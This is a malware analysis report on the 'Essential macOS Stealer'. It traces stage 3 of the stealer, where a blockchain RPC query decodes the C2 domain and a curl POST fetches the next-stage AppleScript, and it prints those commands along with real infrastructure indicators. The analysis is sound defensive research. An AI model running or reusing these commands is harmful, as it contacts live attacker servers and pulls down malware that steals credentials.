← Reports

InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author
Moise Medici
Updated
10 Sept 2026 · Completed
Difficulty
Easy
Platform
MacOS
Family
Essential macOS Stealer
Languages
BashAppleScript
MITRE
T1059.002 (Command and Scripting Interpreter: AppleScript) T1059.004 (Command and Scripting Interpreter: Unix Shell) T1569.001 (System Services: Launchctl) T1543.001 (Create or Modify System Process: Launch Agent) T1548.006 (Abuse Elevation Control Mechanism: TCC Manipulation) T1027.010 (Obfuscated Files or Information: Command Obfuscation) T1027.016 (Obfuscated Files or Information: Junk Code Insertion) T1140 (Deobfuscate/Decode Files or Information) T1564.001 (Hide Artifacts: Hidden Files and Directories) T1056.002 (Input Capture: GUI Input Capture) T1539 (Steal Web Session Cookie) T1555.001 (Credentials from Password Stores: Keychain) T1555.003 (Credentials from Password Stores: Credentials from Web Browsers) T1555.005 (Credentials from Password Stores: Password Managers) T1016 (System Network Configuration Discovery) T1033 (System Owner/User Discovery) T1082 (System Information Discovery) T1083 (File and Directory Discovery) T1217 (Browser Information Discovery) T1005 (Data from Local System) T1074.001 (Data Staged: Local Data Staging) T1119 (Automated Collection) T1560.001 (Archive Collected Data: Archive via Utility) T1008 (Fallback Channels) T1071.001 (Application Layer Protocol: Web Protocols) T1102.001 (Web Service: Dead Drop Resolver) T1105 (Ingress Tool Transfer) T1041 (Exfiltration Over C2 Channel)

Experimenting with Stage3

The cURL is as follows:

Terminal window
curl -s --max-time 15 https://tenderly.rpc.polygon.community -X POST -H 'Content-Type: applicaton/json' --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}'

The response, which was still available at the time of writing, is:

Terminal window
{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000964396d6a732e7362730000000000000000000000000000000000000000000000"}

The result is returned in the response’s result key, as defined by JSON-RPC, so the sed command extracts it. The sed command has two parts: the first matches .*result:0x, followed by a capturing group containing the ID up to the double quote. The second part references that group as \1. If nothing is extracted ([ -z $h ], the zero-length test on $h), the script exits.

For the response above, sed returns:

Terminal window
0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000964396d6a732e7362730000000000000000000000000000000000000000000000

This value is assigned to h.

The printf command converts the first part of the response string from hexadecimal to decimal and assigns it to l. Its value is 9, because the length is stored at the 64th character. The second part is 18 hexadecimal characters converted to binary with xxd. Its value is 64396d6a732e736273 before passing through xxd and d9mjs.sbs afterward.

Terminal window
l=$(printf %d "0x${h:64:64}"); echo ${h:128:$((l*2))} | xxd -r -p
d9mjs.sbs

The final step is another cURL command using quoted form of run_curl, which quotes everything returned by run_curl. In this case, that is the output of xxd, the last command executed by xxd. The second domain then sends another AppleScript, as indicated by the second osascript. The txid variable is set to 7dc957c3cfcbf7bb79ff3b8f0f8288a9, which is likely a campaign ID. The URL also contains a bmodule parameter, probably used to request another sample or a command from the C2 server.

The last cURL is:

Terminal window
curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 https://d9mjs.sbs -X POST -d 'txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&bmodule' > stage4.applescript